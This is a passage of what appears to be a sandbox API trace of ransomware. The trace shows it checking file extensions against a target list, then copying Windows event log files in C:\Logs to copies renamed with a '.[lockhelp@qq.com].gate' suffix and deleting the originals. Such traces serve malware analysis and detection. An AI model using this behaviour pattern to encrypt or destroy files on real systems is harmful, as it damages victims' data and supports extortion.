lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString=".xlsx") returned 5 [0275.767] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.767] lstrlenW (lpString=".ppt") returned 4 [0275.767] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.767] lstrlenW (lpString=".zip") returned 4 [0275.767] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString=".rar") returned 4 [0275.767] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString=".bz2") returned 4 [0275.767] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString=".7z") returned 3 [0275.767] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.767] lstrlenW (lpString=".dbf") returned 4 [0275.767] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.767] lstrlenW (lpString=".1cd") returned 4 [0275.767] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.767] lstrlenW (lpString=".jpg") returned 4 [0275.767] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.768] lstrlenW (lpString=".doc") returned 4 [0275.768] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString=".docx") returned 5 [0275.768] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.768] lstrlenW (lpString=".pdf") returned 4 [0275.768] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString=".xls") returned 4 [0275.768] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString=".xlsx") returned 5 [0275.768] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.768] lstrlenW (lpString=".ppt") returned 4 [0275.768] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.768] lstrlenW (lpString=".zip") returned 4 [0275.768] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString=".rar") returned 4 [0275.768] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString=".bz2") returned 4 [0275.768] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString=".7z") returned 3 [0275.768] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.768] lstrlenW (lpString=".dbf") returned 4 [0275.768] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.768] lstrlenW (lpString=".1cd") returned 4 [0275.768] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.768] lstrlenW (lpString=".jpg") returned 4 [0275.768] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.769] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.769] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0275.769] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.769] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0275.769] CloseHandle (hObject=0x390) returned 1 [0275.769] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0275.769] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.769] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.769] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.769] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.769] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0275.770] GetLastError () returned 0x0 [0275.770] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.838] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.840] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.840] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x13a, lpOverlapped=0x0) returned 1 [0275.840] SetEndOfFile (hFile=0x380) returned 1 [0275.840] CloseHandle (hObject=0x380) returned 1 [0275.842] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.842] SetEndOfFile (hFile=0x390) returned 1 [0275.843] CloseHandle (hObject=0x390) returned 1 [0275.843] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.843] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0275.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.843] lstrlenW (lpString=".doc") returned 4 [0275.843] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.843] lstrlenW (lpString=".docx") returned 5 [0275.843] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.843] lstrlenW (lpString=".pdf") returned 4 [0275.844] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".xls") returned 4 [0275.844] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".xlsx") returned 5 [0275.844] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.844] lstrlenW (lpString=".ppt") returned 4 [0275.844] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.844] lstrlenW (lpString=".zip") returned 4 [0275.844] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".rar") returned 4 [0275.844] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".bz2") returned 4 [0275.844] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".7z") returned 3 [0275.844] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.844] lstrlenW (lpString=".dbf") returned 4 [0275.844] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.844] lstrlenW (lpString=".1cd") returned 4 [0275.844] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.844] lstrlenW (lpString=".jpg") returned 4 [0275.844] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.844] lstrlenW (lpString=".doc") returned 4 [0275.844] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".docx") returned 5 [0275.844] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.844] lstrlenW (lpString=".pdf") returned 4 [0275.844] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.844] lstrlenW (lpString=".xls") returned 4 [0275.845] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString=".xlsx") returned 5 [0275.845] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.845] lstrlenW (lpString=".ppt") returned 4 [0275.845] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.845] lstrlenW (lpString=".zip") returned 4 [0275.845] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString=".rar") returned 4 [0275.845] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString=".bz2") returned 4 [0275.845] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString=".7z") returned 3 [0275.845] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.845] lstrlenW (lpString=".dbf") returned 4 [0275.845] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.845] lstrlenW (lpString=".1cd") returned 4 [0275.845] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0275.845] lstrlenW (lpString=".jpg") returned 4 [0275.845] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.845] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.845] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0275.845] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.846] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0275.846] CloseHandle (hObject=0x390) returned 1 [0275.846] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0275.846] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.846] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.846] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.846] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.846] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0275.850] GetLastError () returned 0x0 [0275.850] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.999] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.000] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.001] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x136, lpOverlapped=0x0) returned 1 [0276.001] SetEndOfFile (hFile=0x380) returned 1 [0276.001] CloseHandle (hObject=0x380) returned 1 [0276.002] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.003] SetEndOfFile (hFile=0x390) returned 1 [0276.003] CloseHandle (hObject=0x390) returned 1 [0276.004] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.004] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0276.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.004] lstrlenW (lpString=".doc") returned 4 [0276.004] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.004] lstrlenW (lpString=".docx") returned 5 [0276.004] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.004] lstrlenW (lpString=".pdf") returned 4 [0276.004] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.004] lstrlenW (lpString=".xls") returned 4 [0276.004] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.004] lstrlenW (lpString=".xlsx") returned 5 [0276.004] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.004] lstrlenW (lpString=".ppt") returned 4 [0276.004] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.004] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.004] lstrlenW (lpString=".zip") returned 4 [0276.005] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString=".rar") returned 4 [0276.005] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString=".bz2") returned 4 [0276.005] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString=".7z") returned 3 [0276.005] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.005] lstrlenW (lpString=".dbf") returned 4 [0276.005] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.005] lstrlenW (lpString=".1cd") returned 4 [0276.005] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.005] lstrlenW (lpString=".jpg") returned 4 [0276.005] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.005] lstrlenW (lpString=".doc") returned 4 [0276.005] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString=".docx") returned 5 [0276.005] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.005] lstrlenW (lpString=".pdf") returned 4 [0276.005] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString=".xls") returned 4 [0276.005] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString=".xlsx") returned 5 [0276.005] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.005] lstrlenW (lpString=".ppt") returned 4 [0276.005] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.005] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.005] lstrlenW (lpString=".zip") returned 4 [0276.006] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.006] lstrlenW (lpString=".rar") returned 4 [0276.006] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.006] lstrlenW (lpString=".bz2") returned 4 [0276.006] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.006] lstrlenW (lpString=".7z") returned 3 [0276.006] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.006] lstrlenW (lpString=".dbf") returned 4 [0276.006] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.006] lstrlenW (lpString=".1cd") returned 4 [0276.006] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0276.006] lstrlenW (lpString=".jpg") returned 4 [0276.006] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.006] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.006] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0276.006] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.007] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0276.007] CloseHandle (hObject=0x390) returned 1 [0276.007] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0276.007] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.007] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0276.007] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.007] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.007] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0276.008] GetLastError () returned 0x0 [0276.008] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.129] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.239] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.239] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x13a, lpOverlapped=0x0) returned 1 [0276.239] SetEndOfFile (hFile=0x380) returned 1 [0276.239] CloseHandle (hObject=0x380) returned 1 [0276.241] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.241] SetEndOfFile (hFile=0x390) returned 1 [0276.242] CloseHandle (hObject=0x390) returned 1 [0276.242] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.242] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0276.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.243] lstrlenW (lpString=".doc") returned 4 [0276.243] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString=".docx") returned 5 [0276.243] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.243] lstrlenW (lpString=".pdf") returned 4 [0276.243] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString=".xls") returned 4 [0276.243] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString=".xlsx") returned 5 [0276.243] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.243] lstrlenW (lpString=".ppt") returned 4 [0276.243] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.243] lstrlenW (lpString=".zip") returned 4 [0276.243] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString=".rar") returned 4 [0276.243] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString=".bz2") returned 4 [0276.243] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString=".7z") returned 3 [0276.243] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.243] lstrlenW (lpString=".dbf") returned 4 [0276.243] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0276.243] lstrlenW (lpString=".1cd") returned 4 [0276.243] lstrcmpiW 